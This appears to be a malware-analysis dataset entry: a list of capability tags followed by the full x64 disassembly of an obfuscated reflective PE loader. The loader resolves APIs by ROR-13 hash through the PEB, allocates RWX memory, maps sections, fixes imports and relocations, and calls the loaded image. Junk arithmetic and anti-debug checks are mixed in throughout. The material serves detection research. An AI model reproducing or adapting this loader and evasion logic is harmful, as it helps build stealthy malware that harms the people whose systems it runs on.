Function at 0x1800036f0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for time delay via gettickcount
Enumerate pe sections
Execute shellcode via indirect call
Get disk information
Parse pe header
Query environment variable
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x160
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [r11 - 0x88], xmm10
movaps xmmword [r11 - 0x98], xmm11
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm14
movaps xmmword [r11 - 0xd8], xmm15
mov r12, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov r9d, 0x989680
cmp rax, r9
jbe 0x180003774
mov r15d, 0x80c06e0
jmp 0x180003797
rdtscp
lea r8, [rsp + 0x1a8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov rax, r9
div rcx
mov r15, rax
rdtscp
lea r8, [rsp + 0x1a8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0x21c
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea eax, [r8 + 3]
mov dword [rsp + 0x1b8], eax
mov r13d, eax
mov dword [rsp + 0x1b0], eax
movd xmm7, r15d
cvtdq2pd xmm7, xmm7
movsd qword [rsp + 0x30], xmm7
xor r14d, r14d
mov eax, r14d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x98], r14
mov qword [rsp + 0x48], r14
xorps xmm14, xmm14
movsd qword [rsp + 0x90], xmm14
movsd xmm15, qword [0x18002fe18]
movsd qword [rsp + 0xb0], xmm15
movsd xmm9, qword [0x18002fc70]
movsd qword [rsp + 0x88], xmm9
movsd xmm13, qword [0x18002fe30]
movsd qword [rsp + 0xb8], xmm13
movaps xmm0, xmm15
call fcn.1800035a8
movaps xmm6, xmm0
xorps xmm0, xmm0
call fcn.1800035a8
movaps xmm8, xmm0
addsd xmm8, xmm6
mulsd xmm8, xmm9
movsd xmm12, qword [0x18002fc88]
divsd xmm8, xmm12
mov r12, qword [r12]
mov qword [rsp + 0x50], r12
mov qword [rsp + 0xa0], r12
mov ebx, r15d
lea edi, [r14 + 1]
cmp r15d, r13d
jle 0x180003975
lea esi, [r15 + r15]
movsd xmm6, qword [0x18002fcd0]
cmp esi, r13d
jge 0x180003914
comisd xmm7, xmmword [0x18002fda8]
ja 0x180004863
comisd xmm7, xmm6
jb 0x1800038f7
call qword [sym.imp.USER32.dll_GetMessageTime]
movaps xmm7, xmm14
jmp 0x180003905
call qword [sym.imp.KERNEL32.dll_GetACP]
movsd xmm7, qword [0x18002fe00]
movsd qword [rsp + 0x30], xmm7
add ebx, edi
cmp ebx, r13d
jg 0x1800038d2
jmp 0x180003975
movaps xmm0, xmm15
call fcn.1800035a8
movaps xmm6, xmm0
movaps xmm0, xmm14
call fcn.1800035a8
movaps xmm8, xmm0
addsd xmm8, xmm6
mulsd xmm8, xmm9
divsd xmm8, xmm12
mov eax, 0x5a4d
cmp word [r12], ax
jne 0x180003963
movsxd rcx, dword [r12 + 0x3c]
lea rax, [rcx - 0x40]
cmp rax, 0x3bf
ja 0x180003963
cmp dword [rcx + r12], 0x4550
je 0x180003970
sub r12, rdi
mov qword [rsp + 0xa0], r12
jmp 0x180003914
mov qword [rsp + 0x50], r12
mov r12, r14
mov qword [rsp + 0x28], r14
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x80], rcx
mov rax, qword [rcx + 0x20]
movsd xmm9, qword [0x18002fd00]
movsd xmm11, qword [0x18002fd08]
movsd xmm10, qword [0x18002fc98]
movzx ebx, word [rsp + 0x1a0]
mov qword [rsp + 0x78], rax
test rax, rax
je 0x180003e9d
cmp r15d, r13d
jle 0x180003a00
mov rcx, qword [rax + 0x50]
mov qword [rsp + 0x70], rcx
movzx ebx, word [rax + 0x48]
mov r12, r14
mov qword [rsp + 0x28], r14
lea rcx, [rdi + rbx]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.180008898
movzx esi, bx
test bx, bx
je 0x180003b8d
cmp r15d, dword [rsp + 0x1b8]
je 0x1800048a7
mov ecx, r12d
call fcn.180004960
mov r12d, eax
mov qword [rsp + 0x28], r12
mov rcx, qword [rsp + 0x70]
cmp byte [rcx], 0x61
jb 0x180003a5b
cmp r15d, dword [rsp + 0x1b8]
jle 0x180003aed
movzx eax, byte [rcx]
add rax, 0xffffffffffffffe0
add r12, rax
mov qword [rsp + 0x28], r12
mov eax, r15d
cdq
sub eax, edx
sar eax, 1
jmp 0x180003a91
mov eax, r15d
cdq
sub eax, edx
sar eax, 1
cmp eax, r13d
jl 0x180003a75
movzx eax, byte [rcx]
add r12, rax
mov qword [rsp + 0x28], r12
jmp 0x180003a96
comisd xmm7, xmmword [0x18002fd20]
ja 0x18000489c
comisd xmm7, xmmword [0x18002fde0]
ja 0x180004894
cmp eax, r13d
jl 0x180003aa0
add rcx, rdi
mov qword [rsp + 0x70], rcx
jmp 0x180003ae0
mov eax, 0x7b
lea r9d, [rax - 0x1b]
jmp 0x180003ad7
imul rax, rax
mov r8, rax
imul r9, rax
mov rax, r9
cqo
idiv r8
mov rcx, rax
imul rcx, r9
imul rcx, r8
xorps xmm7, xmm7
cvtsi2sd xmm7, rcx
movsd qword [rsp + 0x30], xmm7
ucomisd xmm7, xmm9
jp 0x180003aab
jne 0x180003aab
mov eax, 0xffff
add si, ax
jmp 0x180003a06
movsd xmm0, qword [0x18002fcc0]
comisd xmm0, xmm7
jae 0x180004871
mov ebx, 0x17
movsd xmm6, qword [0x18002fca8]
comisd xmm7, xmm6
jb 0x180003b31
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
add rbx, rdi
mov rax, rdi
cqo
idiv rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
jae 0x180003b12
movss xmm2, dword [0x18002fe70]
movss xmm3, dword [0x18002fe78]
mulss xmm2, xmm2
cvttss2si rcx, xmm2
lea rax, [rcx + rcx]
xorps xmm2, xmm2
cvtsi2ss xmm2, rax
xorps xmm1, xmm1
cvtsi2ss xmm1, rcx
subss xmm3, xmm1
movaps xmm0, xmm2
addss xmm0, xmm1
subss xmm0, xmm3
cvtps2pd xmm1, xmm0
comisd xmm1, xmmword [0x18002fd88]
ja 0x180003b41
comisd xmm1, xmmword [0x18002fca0]
jb 0x18000488c
jmp 0x18000487e
cmp r12d, 0x6a4abc5b
jne 0x180003e70
mov eax, r15d
cdq
sub eax, edx
sar eax, 1
cmp eax, r13d
cmovl r15d, r13d
mov r13, qword [rsp + 0x78]
mov r13, qword [r13 + 0x20]
mov qword [rsp + 0x80], r13
movsxd rax, dword [r13 + 0x3c]
mov r11d, dword [rax + r13 + 0x88]
add r11, r13
mov qword [rsp + 0x68], r11
mov r9d, dword [r11 + 0x20]
add r9, r13
mov qword [rsp + 0x60], r9
mov r10d, dword [r11 + 0x24]
add r10, r13
mov qword [rsp + 0x58], r10
mov eax, 3
movzx r8d, ax
mov word [rsp + 0x1a8], ax
lea eax, [r15 + r15]
mov dword [rsp + 0x30], eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x20]
mov edx, dword [r9]
add rdx, r13
mov ecx, r14d
mov al, byte [rdx]
ror ecx, 0xd
movsx eax, al
add ecx, eax
add rdx, rdi
mov al, byte [rdx]
test al, al
jne 0x180003c14
mov edx, 0xec0e4e8e
cmp ecx, edx
je 0x180003c42
cmp ecx, 0x7c0dfcaa
je 0x180003c42
cmp ecx, 0x91afca54
jne 0x180003de5
mov r12d, dword [r11 + 0x1c]
movzx esi, word [r10]
add r12, r13
cmp ecx, edx
jne 0x180003ca6
mov ebx, r15d
mov eax, dword [rsp + 0x1b0]
cmp r15d, eax
jle 0x180003dd2
cmp dword [rsp + 0x30], eax
jge 0x180003c95
comisd xmm11, xmm7
jbe 0x1800048bf
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movsd xmm7, qword [0x18002fea0]
add ebx, edi
mov eax, dword [rsp + 0x1b0]
cmp ebx, eax
jg 0x180003c64
jmp 0x180003dba
mov eax, dword [r12 + rsi*4]
add rax, r13
mov qword [rsp + 0x40], rax
jmp 0x180003dba
cmp ecx, 0x7c0dfcaa
jne 0x180003ccd
cmp r15d, dword [rsp + 0x1b8]
jle 0x180003e50
mov eax, dword [r12 + rsi*4]
add rax, r13
mov qword [rsp + 0x20], rax
jmp 0x180003dd7
cmp ecx, 0x91afca54
jne 0x180003dd7
lea eax, [r15 + 4]
cmp eax, dword [rsp + 0x1b0]
jle 0x180003cf2
mov ebx, dword [r12 + rsi*4]
add rbx, r13
jmp 0x180003dd7
mov ebx, edi
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
imul ebx, ebx
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
ucomisd xmm0, qword [0x18002fcb0]
jp 0x180003d11
je 0x180003cf4
movsd xmm6, qword [0x18002fd68]
mov cl, 5
comisd xmm10, xmm0
jbe 0x180003d62
movaps xmm1, xmm12
movaps xmm0, xmm6
mulsd xmm0, xmm1
cvttsd2si ebx, xmm0
movaps xmm1, xmm6
divsd xmm1, xmm6
movaps xmm6, xmm1
call fcn.180002e64
movsx ecx, al
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm6
addsd xmm0, xmm1
comisd xmm10, xmm0
ja 0x180003d26
movss xmm6, dword [0x18002fe90]
mov ebx, 0x73
call qword [sym.imp.SHELL32.dll_InitNetworkAddressControl]
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
movaps xmm1, xmm6
divss xmm1, xmm0
cvttss2si ebx, xmm1
cvttss2si ecx, xmm6
call fcn.180002e64
movsx ecx, al
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
movsx ebx, bl
lea eax, [rbx + 1]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm0, xmm6
cvtps2pd xmm7, xmm0
ucomisd xmm7, qword [0x18002fd38]
jp 0x180003d6f
jne 0x180003d6f
mov r11, qword [rsp + 0x68]
mov r10, qword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
movzx r8d, word [rsp + 0x1a8]
mov rbx, qword [rsp + 0x38]
mov eax, 0xffff
add r8w, ax
mov rsi, qword [rsp + 0x20]
mov word [rsp + 0x1a8], r8w
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x20], rsi
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
add r9, 4
mov qword [rsp + 0x60], r9
add r10, 2
mov qword [rsp + 0x58], r10
test r8w, r8w
jne 0x180003c09
movsd qword [rsp + 0x30], xmm7
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x38], rbx
movzx ebx, r8w
mov r12, qword [rsp + 0x28]
mov r13d, dword [rsp + 0x1b0]
jmp 0x180003e7a
ucomisd xmm7, qword [0x18002fcf8]
jp 0x180003e66
jne 0x180003e66
movsd xmm7, qword [0x18002fd40]
jmp 0x180003e50
movsd xmm7, qword [0x18002fde8]
jmp 0x180003e50
mov rsi, qword [rsp + 0x20]
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x180003f7b
test rsi, rsi
je 0x180003f7b
cmp qword [rsp + 0x38], r14
je 0x180003f7b
movsd qword [rsp + 0x30], xmm7
mov ebx, edi
movsd xmm10, qword [0x18002fc80]
movaps xmm0, xmm10
movsd xmm11, qword [0x18002fc78]
movsd xmm9, qword [0x18002fc68]
movsd xmm13, qword [0x18002fe30]
xorps xmm14, xmm14
movsd xmm12, qword [0x18002fc70]
subsd xmm0, xmm11
mulsd xmm0, xmm12
addsd xmm0, xmm14
call fcn.1800035a8
mulsd xmm0, xmm9
addsd xmm8, xmm0
add ebx, edi
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm13, xmm0
jae 0x180003ed4
movsd qword [rsp + 0x60], xmm8
cmp r15d, r13d
cmove r15d, r13d
mov dword [rsp + 0x1a8], r15d
mov rcx, qword [rsp + 0x50]
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x38], rax
mov ebx, dword [rax + 0x54]
mov qword [rsp + 0x78], rbx
mov r12, rcx
mov qword [rsp + 0x70], rcx
mov edx, dword [rax + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x80], rax
mov rsi, rax
mov qword [rsp + 0x98], rax
movsd xmm12, qword [0x18002fe30]
xorps xmm6, xmm6
jmp 0x180004021
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
jmp 0x1800039b9
movsd xmm14, qword [0x18002fd60]
test rbx, rbx
je 0x1800040c2
mov ecx, dword [rsp + 0x1b0]
sub rbx, rdi
mov dword [rsp + 0x1a8], r15d
cmp r15d, ecx
jle 0x1800040b9
lea eax, [r15 + 4]
mov dword [rsp + 0x30], eax
cmp eax, ecx
jg 0x18000408f
comisd xmm7, xmmword [0x18002fdd8]
ja 0x1800048d8
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
movaps xmm7, xmm14
mov eax, dword [rsp + 0x1a8]
add eax, edi
mov dword [rsp + 0x1a8], eax
mov ecx, dword [rsp + 0x1b0]
cmp eax, ecx
mov eax, dword [rsp + 0x30]
jg 0x180004052
jmp 0x1800040b9
movsd xmm0, qword [0x18002fc60]
call fcn.1800035a8
mulsd xmm0, xmm9
addsd xmm8, xmm0
mov al, byte [r12]
mov byte [rsi], al
add rsi, rdi
add r12, rdi
mov ecx, dword [rsp + 0x1b0]
test rbx, rbx
jne 0x18000403a
mov ebx, edi
movaps xmm0, xmm10
movsd xmm13, qword [0x18002fe28]
movsd xmm8, qword [rsp + 0x88]
mulsd xmm0, xmm8
addsd xmm0, xmm6
call fcn.1800035a8
add ebx, edi
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm13, xmm0
jae 0x1800040db
cmp r15d, dword [rsp + 0x1b0]
jl 0x180004831
movaps xmm0, xmm15
call fcn.1800035a8
movaps xmm6, xmm0
movsd xmm15, qword [rsp + 0x90]
movaps xmm0, xmm15
call fcn.1800035a8
addsd xmm6, xmm0
mulsd xmm6, xmm8
divsd xmm6, qword [0x18002fc90]
mov r12, qword [rsp + 0x38]
movzx eax, word [r12 + 0x14]
lea rbx, [r12 + 0x18]
add rbx, rax
movzx r9d, word [r12 + 6]
test r9, r9
je 0x1800041b3
mov r10, qword [rsp + 0x50]
mov rax, qword [rsp + 0x20]
mov r12, qword [rsp + 0x40]
sub r9, rdi
mov ecx, dword [rbx + 0xc]
add rcx, r13
mov edx, dword [rbx + 0x14]
add rdx, r10
mov r8d, dword [rbx + 0x10]
test r8, r8
je 0x180004191
mov al, byte [rdx]
mov byte [rcx], al
add rcx, rdi
add rdx, rdi
sub r8, rdi
jne 0x18000417d
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
dec r8
mov qword [rsp + 0x48], r8
add rbx, 0x28
test r9, r9
jne 0x180004165
mov qword [rsp + 0x40], r12
mov r12, qword [rsp + 0x38]
jmp 0x1800041c7
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov esi, edi
movaps xmm0, xmm10
subsd xmm0, xmm11
mulsd xmm0, xmm8
addsd xmm0, xmm15
call fcn.1800035a8
mulsd xmm0, xmm9
addsd xmm6, xmm0
add esi, edi
movd xmm0, esi
cvtdq2pd xmm0, xmm0
comisd xmm12, xmm0
jae 0x1800041cd
lea eax, [r15 + 4]
cmp eax, dword [rsp + 0x1b0]
cmovle r15d, dword [rsp + 0x1b0]
lea rsi, [r12 + 0x90]
mov ecx, dword [rsi]
lea r12, [rcx + r13]
mov eax, dword [r12 + 0xc]
test eax, eax
je 0x180004401
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x48], rdx
movsd xmm12, qword [0x18002fda0]
movsd xmm9, qword [0x18002fce0]
movsd xmm11, qword [0x18002fcc8]
movsd xmm8, qword [0x18002fdb0]
test ecx, ecx
je 0x180004401
mov r10d, dword [rsp + 0x1b8]
cmp r15d, r10d
jle 0x1800042a2
mov ecx, eax
add rcx, r13
mov rax, qword [rsp + 0x40]
call rax
mov r9, rax
mov qword [rsp + 0x50], rax
mov edx, dword [r12]
add rdx, r13
mov qword [rsp + 0x48], rdx
mov ebx, dword [r12 + 0x10]
add rbx, r13
mov r10d, dword [rsp + 0x1b8]
jmp 0x18000438d
mov r9, qword [rsp + 0x50]
jmp 0x18000438d
test rdx, rdx
je 0x1800043be
cmp qword [rdx], r14
jge 0x1800043be
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
mov eax, dword [rcx + r9 + 0x10]
movzx edx, word [rdx]
sub rdx, rax
mov ecx, dword [rcx + r9 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
mov qword [rbx], rax
cmp r15d, r10d
jge 0x1800043e8
comisd xmm12, xmm7
jb 0x1800042fe
movsd xmm7, qword [0x18002fd80]
comisd xmm9, xmm7
ja 0x1800048f8
comisd xmm11, xmm7
ja 0x1800048e3
mov byte [rsp + 0x1a8], 0x77
mov dword [rsp + 0x30], 0x2d
ucomisd xmm7, xmm8
jp 0x18000432d
je 0x180004374
mov r13b, byte [rsp + 0x1a8]
mov r14d, dword [rsp + 0x30]
call qword [sym.imp.USER32.dll_IsWow64Message]
add r13b, r14b
movsx eax, r13b
lea r14d, [rax + rax]
sub eax, r14d
movd xmm7, eax
cvtdq2pd xmm7, xmm7
ucomisd xmm7, xmm8
jp 0x18000433a
jne 0x18000433a
xor r14d, r14d
mov r13, qword [rsp + 0x28]
mov r9, qword [rsp + 0x50]
mov r10d, dword [rsp + 0x1b8]
movsd xmm0, qword [0x18002fcd0]
jmp 0x180004382
movaps xmm7, xmm10
comisd xmm0, xmm7
ja 0x18000437e
mov rdx, qword [rsp + 0x48]
cmp qword [rbx], r14
jne 0x1800042ac
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
add r12, 0x14
mov eax, dword [r12 + 0xc]
test eax, eax
je 0x180004401
mov ecx, dword [rsi]
jmp 0x180004258
cmp r15d, r10d
jl 0x180004903
mov rsi, qword [rbx]
add rsi, r13
lea rdx, [rsi + 2]
mov rcx, r9
call qword [rsp + 0x20]
mov qword [rbx], rax
mov r9, qword [rsp + 0x50]
mov r10d, dword [rsp + 0x1b8]
add rbx, 8
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x18000438d
add rdx, 8
mov qword [rsp + 0x48], rdx
jmp 0x18000438d
mov r12d, edi
movaps xmm0, xmm10
movsd xmm11, qword [0x18002fc58]
movsd xmm12, qword [rsp + 0x88]
mulsd xmm0, xmm12
addsd xmm0, xmm15
call fcn.1800035a8
mulsd xmm0, xmm11
addsd xmm6, xmm0
add r12d, edi
movd xmm0, r12d
cvtdq2pd xmm0, xmm0
comisd xmm13, xmm0
jae 0x18000441b
mov r8d, dword [rsp + 0x1b0]
cmp r15d, r8d
jle 0x18000446b
mov rcx, r13
mov rax, qword [rsp + 0x38]
sub rcx, qword [rax + 0x30]
mov qword [rsp + 0x50], rcx
lea rsi, [rax + 0xb0]
mov r12, qword [rsp + 0x28]
cmp dword [rsi + 4], r14d
je 0x1800046d6
lea eax, [r15 + 4]
cmp eax, r8d
cmovle r15d, r8d
mov r13d, dword [rsi]
add r13, r12
cmp dword [r13 + 4], r14d
je 0x1800046d6
mov r9d, 0xfff
mov r10d, 2
movsd xmm8, qword [0x18002fd88]
movsd xmm9, qword [0x18002fcf0]
mov dword [rsp + 0x1a8], r15d
cmp r15d, r8d
jle 0x1800045fe
mov eax, r15d
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b8], eax
cmp eax, r8d
jge 0x180004633
mov r12d, 0x72
call qword [sym.imp.KERNEL32.dll_GetErrorMode]
cmp r12, 0x61
cmove r12, rdi
xorps xmm0, xmm0
cvtsi2sd xmm0, r12
comisd xmm0, xmmword [0x18002fd50]
ja 0x1800044e2
movss xmm1, dword [0x18002fe80]
jmp 0x18000451d
movaps xmm0, xmm1
addss xmm0, xmm1
movaps xmm1, xmm0
xorps xmm0, xmm0
cvtss2sd xmm0, xmm1
comisd xmm0, xmm14
ja 0x18000450c
movss xmm7, dword [0x18002fe64]
jmp 0x18000454c
call qword [sym.imp.USER32.dll_GetDialogBaseUnits]
cvttss2si rax, xmm7
cmp rax, 0x61
cmove rax, rdi
xorps xmm7, xmm7
cvtsi2ss xmm7, rax
cvtps2pd xmm0, xmm7
comisd xmm0, xmm9
jae 0x18000452e
comisd xmm0, xmm10
jb 0x180004562
call qword [sym.imp.USER32.dll_GetMessageTime]
jmp 0x180004568
call qword [sym.imp.SHELL32.dll_InitNetworkAddressControl]
movss xmm0, dword [0x18002fe8c]
movsd xmm15, qword [0x18002fde0]
cvttss2si ecx, xmm0
call fcn.180002e64
movsx ecx, al
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
cvtps2pd xmm7, xmm0
comisd xmm7, xmm15
ja 0x180004579
movsd xmm1, qword [0x18002fdd0]
ucomisd xmm7, xmm8
movsd xmm15, qword [rsp + 0x90]
jmp 0x1800045c1
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
movaps xmm7, xmm0
ucomisd xmm0, xmm8
jp 0x1800045af
jne 0x1800045af
mov ecx, dword [rsp + 0x1a8]
add ecx, edi
mov dword [rsp + 0x1a8], ecx
mov r8d, dword [rsp + 0x1b0]
cmp ecx, r8d
mov eax, dword [rsp + 0x1b8]
jg 0x1800044d3
mov r12, qword [rsp + 0x28]
mov r9d, 0xfff
mov r10d, 2
mov rdx, qword [rsp + 0x48]
test rsi, rsi
je 0x1800046b1
mov r12, qword [rsp + 0x50]
mov r8d, 3
sub rsi, rdi
movzx ecx, word [rdx]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x180004661
and rcx, r9
add qword [rcx + rbx], r12
jmp 0x180004693
mov ebx, dword [r13]
mov r12, qword [rsp + 0x28]
add rbx, r12
mov esi, dword [r13 + 4]
sub rsi, 8
shr rsi, 1
lea rdx, [r13 + 8]
mov qword [rsp + 0x48], rdx
mov r9d, 0xfff
mov r10d, 2
jmp 0x180004603
cmp ax, r8w
jne 0x180004670
and rcx, r9
add dword [rcx + rbx], r12d
jmp 0x180004693
cmp ax, di
jne 0x180004685
and rcx, r9
mov rax, r12
shr rax, 0x10
add word [rcx + rbx], ax
jmp 0x180004693
cmp ax, r10w
jne 0x180004693
and rcx, r9
add word [rcx + rbx], r12w
add rdx, r10
test rsi, rsi
jne 0x180004617
mov qword [rsp + 0x48], rdx
mov r12, qword [rsp + 0x28]
mov r8d, dword [rsp + 0x1b0]
sub rsi, rdi
mov eax, r15d
cdq
sub eax, edx
sar eax, 1
cmp eax, r8d
jl 0x180004925
mov eax, dword [r13 + 4]
add r13, rax
cmp dword [r13 + 4], r14d
jne 0x1800044b3
mov ebx, edi
mulsd xmm10, xmm12
addsd xmm10, xmm15
movaps xmm0, xmm10
call fcn.1800035a8
mulsd xmm0, xmm11
addsd xmm6, xmm0
add ebx, edi
movd xmm10, ebx
cvtdq2pd xmm10, xmm10
comisd xmm13, xmm10
jae 0x1800046d8
lea eax, [r15 + r15]
cmp eax, dword [rsp + 0x1b0]
jl 0x180004941
mov rax, qword [rsp + 0x38]
mov ebx, dword [rax + 0x28]
add rbx, r12
mov r15, qword [rsp + 0x1a0]
mov rcx, r12
cmp byte [r15 + 8], r14b
jne 0x1800047f3
mov rdx, qword [r15 + 0x10]
call fcn.180003600
mov rsi, rax
test rax, rax
je 0x1800047fa
cmp byte [r15 + 0x3c], r14b
je 0x180004786
mov r8, qword [r15 + 0x40]
test r8, r8
je 0x180004786
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x18000477b
cmp qword [rcx + 0x20], r8
je 0x180004782
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x180004772
jmp 0x180004786
mov qword [rcx + 0x20], r12
xor r8d, r8d
mov edx, edi
mov rcx, r12
call rbx
mov r9d, dword [r15 + 0x38]
mov r8, qword [r15 + 0x30]
mov rdx, qword [r15 + 0x28]
mov rcx, qword [r15 + 0x20]
call rsi
cdqe
lea r11, [rsp + 0x160]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
xor r8d, r8d
mov edx, edi
call rbx
xor ecx, ecx
movsd xmm0, qword [0x18002fe98]
comisd xmm6, xmm0
jb 0x180004821
subsd xmm6, xmm0
comisd xmm6, xmm0
jae 0x180004821
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm6
add rax, rcx
add rax, rbx
jmp 0x1800047a4
comisd xmm7, xmmword [0x18002fd28]
jb 0x180004843
movsd xmm7, qword [0x18002fce8]
comisd xmm7, xmmword [0x18002fdc0]
ja 0x18000494f
mov cl, 0x2d
call fcn.180002e64
mov ecx, 9
call fcn.180002de0
int3
call qword [sym.imp.ole32.dll_CoUninitialize]
mov cl, 0x69
call fcn.180002d00
int3
pause
mov ecx, 0x5c
call fcn.180002de0
int3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov cl, 0x49
call fcn.180002d00
int3
xor ecx, ecx
call fcn.180002d00
int3
mov cl, 0x27
call fcn.180002d00
int3
mov ecx, 0x52
call fcn.180002de0
int3
comisd xmm7, xmmword [0x18002fcd8]
jb 0x1800048b7
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov cl, 5
call fcn.180002d00
int3
call qword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
mov ecx, 0x35
call fcn.180002cec
movsxd rcx, eax
call fcn.180002de0
int3
mov ecx, 0x2e
call fcn.180002de0
int3
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov cl, 0x21
call fcn.180002e64
mov cl, 0x21
call fcn.180002d00
int3
mov ecx, 0x60
call fcn.180002de0
int3
movsd xmm0, qword [0x18002fd58]
comisd xmm0, xmm7
ja 0x180004917
call qword [sym.imp.USER32.dll_GetShellWindow]
call qword [sym.imp.USER32.dll_AnyPopup]
xor ecx, ecx
call fcn.180002d00
int3
comisd xmm7, xmmword [0x18002fd40]
jbe 0x180004936
mov cl, 0x6a
call fcn.180002e64
mov ecx, 0x66
call fcn.180002de0
int3
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov cl, 0x79
call fcn.180002d00
int3
call qword [sym.imp.USER32.dll_AnyPopup]
mov ecx, 9
call fcn.180002de0
int3